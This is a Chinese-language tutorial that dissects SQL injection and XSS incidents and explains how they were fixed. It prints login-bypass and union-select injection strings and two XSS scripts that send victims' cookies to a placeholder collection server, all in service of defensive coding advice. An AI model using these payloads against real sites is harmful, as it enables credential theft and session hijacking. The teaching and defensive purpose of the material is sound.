SQL注入与XSS实战拆解:从攻击链到防御编码的完整指南

半夜两点收到告警短信,说是某业务后台的登录接口出现大量异常请求。我打开日志一看,一排排admin' or '1'='1和admin' --整整齐齐,就像有人在拿着字典挨个试。那会儿我就知道,又有人盯上这个老项目的登录接口了。这类事情干得多了以后,我越来越觉得所谓的"黑客套路",本质就是利用开发者偷懒留下的习惯——字符串拼接、不过滤输入、不转义输出。SQL注入和XSS,恰好是这两类问题的典型代表。这篇就用我实际处理过的三个案例,把这两种攻击从头到尾拆一遍,看完你就能明白攻击者是怎么一步步"套路"你的网站,也知道该从哪几个位置去堵。

文章适合谁看?写后端接口的同学、写前端页面的同学,以及刚接触安全测试的新人。不需要你有很深的渗透基础,只需要你写过代码、见过接口。我会把三个案例的完整链路都讲清楚,包括当时攻击者发的包长什么样、为什么它能生效、以及我们最后是怎么修的。

1. SQL注入为什么屡禁不止:先看根子上的原因

1.1 一个引号引发的"数据库裸奔"

SQL注入的核心可以浓缩成一句话:开发者把用户输入当成SQL代码执行了。正常情况下,用户输入应该只是数据,比如用户名、密码、商品ID,它们应该被放进数据库查询的"值"的位置。但很多老代码喜欢用字符串拼接的方式组装SQL,这就相当于把用户输入直接插进了命令本身。

拿登录功能举个例子,假设有这么一个查询:

SELECT * FROM users WHERE username = 'admin' AND password = '123456'

开发者在代码里可能是这么拼的(PHP写法):

$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";

如果我在用户名框里输入admin' --,注意那个单引号和注释符,最终拼出来的SQL就变成了:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456'

在MySQL里,--后面一直到行尾都是注释,数据库实际执行的是:

SELECT * FROM users WHERE username = 'admin'

只要存在用户名为admin的账号,这条查询就会被执行,而且根本不校验密码。这是最原始的"万能密码"套路。为什么能成?因为单引号闭合了SQL语句里的字符串,而注释符把原来的其他条件全部"闭嘴"了。

1.2 从开发者的惯性操作看漏洞成因

你可能会问,都2025年了,还有人这么写?说实话,我在实际项目里见到的最多的并不是这种裸写拼接的,而是框架里用了错误的查询方式。比如用Laravel或者ThinkPHP自带的查询构造器,大部分情况是安全的,但只要写了whereRaw、orderRaw,或者为了实现某种灵活的排序、筛选,直接把前端传过来的字段名拼进SQL,漏洞就回来了。

还有一个高频场景是导出功能。很多后台的导出Excel逻辑,都是把筛选条件拼进一个原生SQL里,因为选出来的字段特别多,开发懒得用ORM慢慢写。这种地方用户输入一旦能被传到SQL里,基本就是必炸。

我总结下来,SQL注入屡禁不止的原因有三个:

  • 存量代码太多。老项目跑了好多年,没人敢动核心查询逻辑,怕改出性能问题或者业务异常。
  • 框架让很多人放松了警惕。觉得用了ORM就万事大吉,结果在某个角落写了原生SQL还不自知。
  • 缺乏自动化检测。代码评审靠肉眼,安全测试靠一年一次的外包扫描,中间大量的时间窗口全是裸奔。

理解了这个根子上的原因,再去看下面的案例,你会更容易跟上思路。

2. 案例一:后台登录接口被"万能密码"通关

2.1 场景还原:一个老管理后台的登录页

当事人是某家公司的内部运营管理系统,一个存在了七八年的PHP项目。后台登录页长得很朴素,就一个用户名框、一个密码框、一个验证码。因为业务量不大,一直没有专门的安全人员,直到那次疑似被入侵才把日志翻出来。

登录接口接到一个不寻常的请求,用户名字段里传的内容是admin' or 1=1 --。我当时看了一眼就大致定位了问题——这个项目的登录代码十有八九是字符串拼接。这是攻击者第一次试探,如果服务端返回了登录成功的跳转,他后面就会开始用union提取数据;如果没成功,他也会根据报错信息判断SQL语法错误类型,继续调整。

2.2 攻击者的完整试错过程

这里把当时的攻击路径还原一下。第一步,攻击者先发了一个正常的请求做基线;第二步,发一个单引号,看数据库报不报错;第三步,用注释符和恒真条件。

按时间线看是这样的:

步骤请求内容(用户名部分)预期观察结果
基线探测admin正常返回密码错误
报错探测admin'如果返回SQL语法错误,说明拼接漏洞存在
恒真绕过admin' or 1=1 --如果直接放行,说明完全没过滤
字段数探测admin' order by 1 --到admin' order by 10 --通过报错差异确定查询字段数量
数据提取admin' union select ... --拖出数据库的用户名密码哈希

第三步成功之后,攻击者已经能登录后台了。第四步开始他目的是确定SQL语句有几个字段,因为union查询要求前后字段数一致,多了少了都会报错。第五步就是经典的union注入拖库。

2.3 这段代码到底丑在哪

事后把登录代码拉出来看,问题一目了然:

$res = $db->query("SELECT * FROM admins WHERE username = '{$_POST['username']}' AND password = '{$_POST['password']}'");

丑点有两处:第一,用户输入直接拼SQL,压根没走预处理;第二,密码居然直接明文比对。第二点意味着,就算攻击者用union注入把密码字段拖出来,拿到的也是明文密码,连撞库破解的步骤都省了。

我们的修复方案做了三层:

  1. 立即止损:下线该后台,强制所有管理员改密码,开启两步验证。
  2. SQL全部改参数化:把登录、查询、导出所有涉及用户输入的地方,全部改成预处理语句,禁止字符串拼接。
  3. 日志监控:对登录接口增加异常行为告警。比如连续多次出现SQL关键字,直接封IP并通知安全负责人。

参数化之后的代码长这样:

$stmt = $db->prepare("SELECT * FROM admins WHERE username = ? AND password = ?"); $stmt->execute([$_POST['username'], hash('sha256', $_POST['password'])]);

这段代码看起来平平无奇,但安全性完全不同:用户输入只会被当作数据传给数据库,数据库不会再把它解释成命令的一部分。预处理是防御SQL注入最有效的办法,没有之一。

3. 案例二:一条商品链接背后的"隐形数据通道"

3.1 场景:一个URL参数引发的数据泄露

第二个案例是某电商网站的旧版商品列表页。它的筛选逻辑是把分类ID放在URL里,比如/list.php?cid=5,后端根据这个ID去查该分类下的商品。看起来人畜无害,但问题还是出在拼接。

攻击者在这个参数上做了手脚。他没有用普通数字,而是发了这么一串:

/list.php?cid=-1 union select 1,2,username,password from admin

服务端收到cid后,拼出来的SQL大致是:

SELECT id, name, price FROM products WHERE category_id = -1 union select 1,2,username,password from admin

前面的category_id = -1查不到任何数据,但union关键字把后面的查询结果合并进来了。如果页面把查询结果循环渲染出来,输出到屏幕上就等于把admin表的用户名和密码直接打印到了页面上。这就是经典的union注入。

3.2 为什么POST请求和框架也拦不住

有人可能会觉得,POST请求比GET安全。实际上攻击手法和请求方式没多大关系,只要输入能到SQL语句里,GET和POST都一样。还有人说"我们用了XX框架,自带防注入",这话也只对了一半。框架默认防,但whereRaw这类接口一旦出现,防护就形同虚设。

这个案例里最值得反思的,不是攻击者用了多高级的技巧,而是一个只读接口竟然能访问到admin表。这说明后端的数据库账号权限太大。普通的商品列表查询,理论上只需要SELECT权限,而且范围应该限定在products表。结果实际用的数据库账号是root,能查全库。

后来我们做的修复是:

  • 把SQL语句全部参数化,这个不多说。
  • 数据库账号最小化授权。前台查询只用只读账号,且只授权给业务需要的表。
  • 对所有传入参数做类型校验。cid必须是纯数字,写法很简单:
if (!ctype_digit($_GET['cid'])) { exit('invalid parameter'); }

类型校验这招在对付数字型注入时便宜又好用,因为数字型参数本来就不该有字母和特殊符号。

3.3 从"漏"到"补"的完整链条

攻击者这里利用的,其实是三层失误叠加:第一层,SQL拼接让注入成为可能;第二层,查询结果的展示区域没有区分"哪个字段来自用户数据",于是union后面的admin表数据被当作普通商品数据渲染出来;第三层,数据库权限过大,导致攻击者能查任意表。

三层环环相扣。所以修的时候不能只堵一层,而是每一层都要堵。这个思路在后面的XSS案例里同样适用。

4. XSS的"套路"和SQL注入完全不同:存储型XSS案例

4.1 一个评论区里的神秘代码

前面两个案例是SQL注入,攻击目标是后端数据库。XSS则是一个完全不同的物种:它攻击的是浏览器里的其他用户。

第三个案例是一个带有用户评论功能的资讯站点。评论区可以输入昵称和留言内容,提交后展示在页面上。一切看起来都很正常,直到某天半夜有用户说"我的账号好像被盗了"。

排查后发现,罪魁祸首是一条评论。这条评论长这样:

<script> var img = new Image(); img.src = 'http://某收集服务器/steal?cookie=' + document.cookie; </script>

因为评论区把用户提交的内容原样输出了,没有任何过滤和转义,任何访问这条评论页面的人,浏览器都会执行这段脚本,然后把自己当前的Cookie发送到攻击者的服务器。

这就是存储型XSS,恶意代码被存在了服务器上,所有访问者都会被"无差别攻击"。SQL注入骗的是数据库,XSS骗的是浏览器,这个区别要先记住。

4.2 从弹窗到Cookie劫持的升级路线

很多人第一次接触XSS是在学习平台上弹了个alert窗口,感觉像恶作剧。但实际上,XSS能干的事情远比弹窗严重:

  • 窃取Cookie:拿到会话ID,直接伪装成受害者登录。
  • 模拟操作:以受害者身份发帖、转账、改密码。
  • 钓鱼:在正常页面里插入伪造的登录框,诱导用户输入账号密码。
  • 挖矿:借助访问者的CPU算力跑加密货币脚本。

攻击者并不需要针对某个特定网站开发一套复杂的漏洞利用框架。很多时候,从注入一个脚本到拿到受害者的会话,只需要十几分钟。评论区这个案例里,攻击者压根没费什么功夫——他只是一段脚本提交上去,然后蹲在收集服务器上看Cookie慢慢多起来。

4.3 存储型、反射型、DOM型,三种类型的核心差异

这里补一张对比表,方便后面理解。

类型恶意代码存在位置触发时机典型场景
存储型服务器数据库任意用户访问含恶意内容的页面评论区、个人签名、商品留言
反射型客户端请求的URL中用户点击包含恶意参数的链接搜索框、页面跳转
DOM型前端JavaScript变量中浏览器执行JS时动态修改页面前端路由、URL hash处理

三种类型最终效果都一样——在受害者的浏览器里执行攻击者的脚本,区别只是恶意代码从哪里来。评论区这个案例属于存储型,因为它被存在了服务端。

修复存储型XSS,第一件事是把所有用户可输入的地方全部摸出来,评论、昵称、签名、私信等,一个都不能漏。然后统一做输入过滤和输出转义。输入过滤是指对script、iframe等危险标签做白名单拦截;输出转义是把<>&"'等字符转换成HTML实体,让浏览器把它们当成纯文本而不是标签。

PHP侧的输出可以这样处理:

echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');

这行代码能将<script>渲染成用户可见但不可执行的文本。同时给Cookie加上HttpOnly标记,让JavaScript永远读不到Cookie:

setcookie('session_id', $sessionId, ['httponly' => true, 'secure' => true, 'samesite' => 'Lax']);

HttpOnly这个属性是防XSS窃取会话的最后一道防线。即使攻击者成功注入脚本,document.cookie也拿不到会话Cookie,攻击链就被砍断了一大截。

5. 案例三:搜索框里的反向链接偷渡

5.1 一个搜索框怎么变成了"钓鱼开关"

第三个案例是个反射型XSS。某网站的搜索功能,用户在搜索框输入关键字后,页面会显示"您搜索的是:XXX"。这个XXX被直接回显到了页面HTML里,没有做任何转义。

攻击者构造了一个恶意链接:

/search.php?keyword=<script>document.location='http://某收集服务器/?'+document.cookie</script>

然后把链接伪装成正常URL发给受害者。受害者点击之后,浏览器先请求目标网站,目标网站把keyword参数的值原样输出到HTML里,浏览器解析时发现这是一段脚本,直接执行,受害者的Cookie就被送到了指定服务器。

这就是反射型XSS。它和存储型的区别是,恶意代码没有存在目标网站的数据库里,而是存在于URL链接中,必须诱导受害者点那条特制链接才能触发。它更像一个"一次性陷阱",而不是存储型那样"人人过路人人中招"。

5.2 如何确认是反射型XSS并做修复

排查逻辑比想象中的简单。我在本地把搜索接口的响应打印出来看了一眼,发现搜索关键词出现在了这段HTML里:

<p>您搜索的是:<strong>【这里回显了关键词】</strong></p>

关键词是什么,这里就原样拼什么。我输入<img src=x onerror=alert(1)>,页面执行弹窗,基本就实锤了。攻击面很明确,就是搜索回显这里缺少HTML上下文感知的编码。

修复方法和存储型类似,输出到HTML值的位置需要做HTML实体编码。不同的输出位置要用不同的编码方式,如果输出到JavaScript字符串里,要用\uXXXX这类JavaScript转义;如果输出到HTML属性里,要做属性转义。这个细节很多人会忽略——只做了HTML实体编码,却没有按输出上下文区分,结果在某些位置依然能绕过。

5.3 数据回传的真相:一个"撑伞"的比喻

XSS数据回传的原理,用个小比喻最好懂:攻击者的脚本相当于你在公共场合撑开一把带摄像头的伞。受害者路过时看热闹,伞上的摄像头就把受害者的脸拍下来传回给攻击者。XSS脚本想做的事,就是撑开这么一把伞,然后守株待兔。

理解了这个逻辑,你就能明白为什么XSS防御的核心不在于"过滤用户输入里的脚本",而在于"让浏览器不把用户输入当脚本执行"。过滤只是手段,上下文安全的输出编码才是本质。

后面我给那个搜索功能加了一个统一的输出转义函数,并且上线前用自动化工具把全站所有渲染用户输入的地方扫了一遍。这类问题归根结底就是一句话:用户输入默认不可信,输出位置默认要编码。

6. 修完三个漏洞之后,我总结的防御思路

6.1 输入侧:能白名单就别黑名单

很多人一开始做防护时习惯用黑名单,比如把select、union、script、onerror这些关键字拉黑。这种做法看起来很爽,但实际效果很有限。原因很简单:黑名单永远追不上攻击者的变形技巧。

SQL注入里的等价替换一堆,1=1可以写成1=2 or 2=1,注释符有--、#、/* */。XSS里的编码绕过更是花样百出,<script>可以被HTML实体、URL编码、Unicode编码换着法子变形。你用黑名单拦了十个,攻击者能变出第十一个。

正确的方向是白名单思维:

  • 数字参数就校验纯数字,用类型判断或正则。
  • 枚举参数就校验必须在预设的集合里。
  • 文本参数不好完全限制,但可以用长度上限加格式约束。
  • 输出侧统一交给转义函数,不在输入侧做无谓的过滤,以防过滤规则被绕过之后反而产生二次编码问题。

6.2 输出侧:输出编码的上下文决定安全

XSS的修复之所以比SQL注入更容易出错,是因为"输出编码"这四个字看起来很简单,实际却非常依赖输出位置。同一个用户输入,输出在HTML标签中间是一种编法,输出在HTML属性里是另一种编法,输出在<script>标签里又是第三种编法。

很多被XSS二次绕过的地方,都是因为开发者只调用了一次htmlspecialchars,就把同一个值用在所有输出位置。比如把用户输入先做了HTML实体编码,结果这个编码后的字符串又被拿去拼进了JavaScript代码,攻击者可以利用实体编码与JavaScript解码之间的差异重新构造可执行代码。

我的建议是,把输出编码这件事下沉到模板层,每个输出位置必须明确声明自己的上下文类型,由框架帮我们选对编码规则。前端框架如果不做任何处理直接渲染v-html或dangerouslySetInnerHTML,等同于把"默认安全"的防线亲手拆掉,这类接口应该收进代码评审的红线清单。

6.3 人的因素:安全意识比技术更值钱

三个案例看下来,没有一个用的是多高明的手段,全都是利用开发者偷懒留下的习惯。登录接口用字符串拼接,是懒得写预处理语句;商品查询给了数据库最高权限,是懒得做最小授权;评论区原样输出用户内容,是没想到浏览器会把它当代码执行。

技术方案再多,如果开发者没有形成条件反射——"用户输入不可信,输出位置要编码"——漏洞还是会换个马甲回来。后来我们团队做了一个很小的改进,效果出奇好:把OWASP Top 10的常见漏洞整理成两页纸的案例版检查清单,挂在每次发版的checklist里。不用讲长篇大论,把真实攻击截胡的案例摆出来,开发者自然就理解了。

安全测试上,我建议每个项目至少能跑一遍自动化扫描器。SQL注入和XSS这两类漏洞,自动化工具的检出率其实很高,因为套路固定、特征明显。重点不是扫描器有没有,而是扫描器跑出来的报告有没有人跟进。很多团队把扫描结果丢给开发就不管了,然后下次上线又是同样的问题。

最后说一个我在三个案例里反复验证过的经验:去看日志比去看代码更能发现安全问题。很多漏洞不是被扫描器发现的,而是运维人员在日志里看到了一串奇怪字符,顺着排查追出来的。把主要接口的入参日志留全,定期翻一翻,你会发现攻击者的试探痕迹往往比想象中明显得多——那些' or 1=1 --的痕迹,安静地躺在日志里,等一个愿意翻开它的人。

相关新闻

施耐德平台API获取设备列表全攻略:认证、分页与字段映射实战

施耐德平台API获取设备列表全攻略:认证、分页与字段映射实战

做工业设备数据对接的这些年&#xff0c;我打交道最多的就是各家的API文档。今天要聊的这道题&#xff0c;是利用施耐德平台API获取设备列表数据——需求本身不复杂&#xff0c;但中间涉及的认证细节、字段类型映射、分页处理逻辑&#xff0c;足够让第一次接触的人多折腾好几天…

2026/10/21 5:06:01 阅读更多 →
零基础实战:用ReAct模式打造旅游规划智能体

零基础实战:用ReAct模式打造旅游规划智能体

1. 为什么我建议你从“旅游规划智能体”开始学AI大模型先说说我自己的体会。很多零基础的朋友一听到“AI大模型”&#xff0c;第一反应就是先啃Transformer、学注意力机制、研究模型权重矩阵&#xff0c;仿佛不把这些底层原理搞清楚就没法动手。我当年也是这样&#xff0c;结果…

2026/10/21 5:05:01 阅读更多 →
零售柜商品检测实战:YOLOv5到YOLOv8多版本训练与PySide6界面集成

零售柜商品检测实战:YOLOv5到YOLOv8多版本训练与PySide6界面集成

做零售柜商品检测这个项目&#xff0c;表面上看是“调一个YOLO模型跑起来”那么简单&#xff0c;真正动手之后才发现&#xff0c;从数据采集、标注策略、模型选型到桌面端界面集成&#xff0c;每一环都是坑。这篇就把我实际搭建这套基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的零售柜商品…

2026/10/21 5:05:01 阅读更多 →

最新新闻

AI信息挖掘实战:从提问到交叉验证,把碎片信息串成认知

AI信息挖掘实战:从提问到交叉验证,把碎片信息串成认知

元旦的钟声刚敲过&#xff0c;我猜不少人正把“新的一年多学点东西、把手头的事做精”写进计划表。这几天我发现一个很有意思的现象&#xff1a;大家不是不想查资料&#xff0c;而是被资料淹没了。打开浏览器想看某个行业的最新动态&#xff0c;结果十条链接里八条是去年的&…

2026/10/21 5:48:18 阅读更多 →
从SLAM到AMCL:自制差速机器人地图导航模块实战解析

从SLAM到AMCL:自制差速机器人地图导航模块实战解析

lingbot-map 这个名字听起来像某个开源仓库的代号&#xff0c;其实是我给自制的差速移动机器人开发的一套完整地图与导航模块。项目核心就一句话&#xff1a;让一台只会上电转圈的底盘&#xff0c;变成能在办公室和家里自主巡航的机器人。它由三个子功能组成——离线建图、在线…

2026/10/21 5:48:18 阅读更多 →
Python语法基础精讲:变量、缩进与运算符优先级实战避坑指南

Python语法基础精讲:变量、缩进与运算符优先级实战避坑指南

简介&#xff1a;这份PPT课件面向Python零基础学习者与编程入门教学场景&#xff0c;系统梳理第2章Python语法基础的核心知识框架。内容围绕变量与数据类型展开&#xff0c;涵盖整型、浮点型、复数、布尔、字符串、列表、元组、字典、集合等类型&#xff0c;并延伸至标识符命名…

2026/10/21 5:48:18 阅读更多 →
互联网医院管理制度文档编写指南:从制度条款到系统代码的落地实践

互联网医院管理制度文档编写指南:从制度条款到系统代码的落地实践

简介&#xff1a;这份文档面向医院管理者、信息科人员及互联网医疗从业者&#xff0c;系统梳理了互联网医院从组织架构到具体业务规范的完整制度框架&#xff0c;可用于制度建设参考、合规自查或岗位培训。压缩包内为1个doc文件&#xff0c;约176KB&#xff0c;内容以制度条文与…

2026/10/21 5:48:18 阅读更多 →
kubeadm 安装 Kubernetes 集群完整指南:初始化、加入节点与排障

kubeadm 安装 Kubernetes 集群完整指南:初始化、加入节点与排障

经常有人问我&#xff1a;“想自己搭一套 Kubernetes 集群&#xff0c;到底从哪下手&#xff1f;”我一般都会回复一句话&#xff1a;先把 kubeadm 用熟&#xff0c;再谈别的。kubeadm 是 Kubernetes 官方维护的集群引导工具&#xff0c;它的目标就是让你别在节点初始化、证书签…

2026/10/21 5:48:18 阅读更多 →
MediaSoup SDP协商详解:ICE、DTLS与RTP参数三层拆解

MediaSoup SDP协商详解:ICE、DTLS与RTP参数三层拆解

做WebRTC服务端的时间长了&#xff0c;你会发现SDP协商是所有“看起来简单、跑起来折磨”的问题里最典型的一个。文本就那么几行&#xff0c;但每一行都对应着一段连接的生命周期。MediaSoup的SDP协商尤其有意思——它并没有像传统服务器那样去解析和重写SDP文本&#xff0c;而…

2026/10/21 5:47:17 阅读更多 →

日新闻

统一内存+量化:锐龙AI Max PRO 400如何本地跑320B大模型

统一内存+量化:锐龙AI Max PRO 400如何本地跑320B大模型

这段时间硬件圈和AI圈都在传一个事&#xff1a;AMD锐龙AI Max PRO 400系列把最高192GB统一内存搬进了PC形态的产品里&#xff0c;按宣传口径&#xff0c;本地跑320B参数的大家伙不再是纸面概念。我第一反应倒不是“内存真大”&#xff0c;而是这话背后的含金量——它把过去只能…

2026/10/21 0:00:11 阅读更多 →
AI助手深度使用体验:对话质量、长文本处理与指令遵循如何留住用户

AI助手深度使用体验:对话质量、长文本处理与指令遵循如何留住用户

1. 从“封号重开”这个行为说起&#xff1a;用户到底在追求什么“封号重开”这四个字&#xff0c;放在任何产品语境里都带着一股决绝的味道。一个账号从零开始积累使用记录、调教偏好、沉淀工作流&#xff0c;背后是大量的时间和精力成本。正常情况下&#xff0c;没有人愿意主动…

2026/10/21 0:00:11 阅读更多 →
ROS中YOLOv3工程落地:通信同步、坐标变换与性能调优

ROS中YOLOv3工程落地:通信同步、坐标变换与性能调优

1. 为什么在ROS里硬刚YOLOv3不是“炫技”&#xff0c;而是工程落地的必经之路我第一次在某高校机器人实验室看到那台搭载Jetson TX2的移动底盘原地打转、反复识别错垃圾桶时&#xff0c;就意识到&#xff1a;单纯跑通darknet_ros demo和真正让YOLOv3在ROS里“干活”&#xff0c…

2026/10/21 0:00:11 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型&#xff08;GMM&#xff09;的语音识别系统&#xff0c;很多人第一反应就是一堆数学公式&#xff0c;觉得门槛很高。但如果你真的在MATLAB里把它落地跑通&#xff0c;会发现核心其实就是三件事&#xff1a;把声音变成特征向量&#xff0c;用GMM给每个类别…

2026/10/20 10:02:13 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人&#xff0c;但落到具体操作上&#xff0c;无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程&#xff1a;对图像做反白、改调色板、彩色转灰度&#xff0c;最后把像素数据导出成txt文件。单看每一…

2026/10/20 20:43:59 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词&#xff0c;你会发现一个很有意思的现象&#xff1a;每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型&#xff0c;有人指的是运动控制系统&#xff0c;还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/21 4:27:17 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 10:02:08 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:17 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:45 阅读更多 →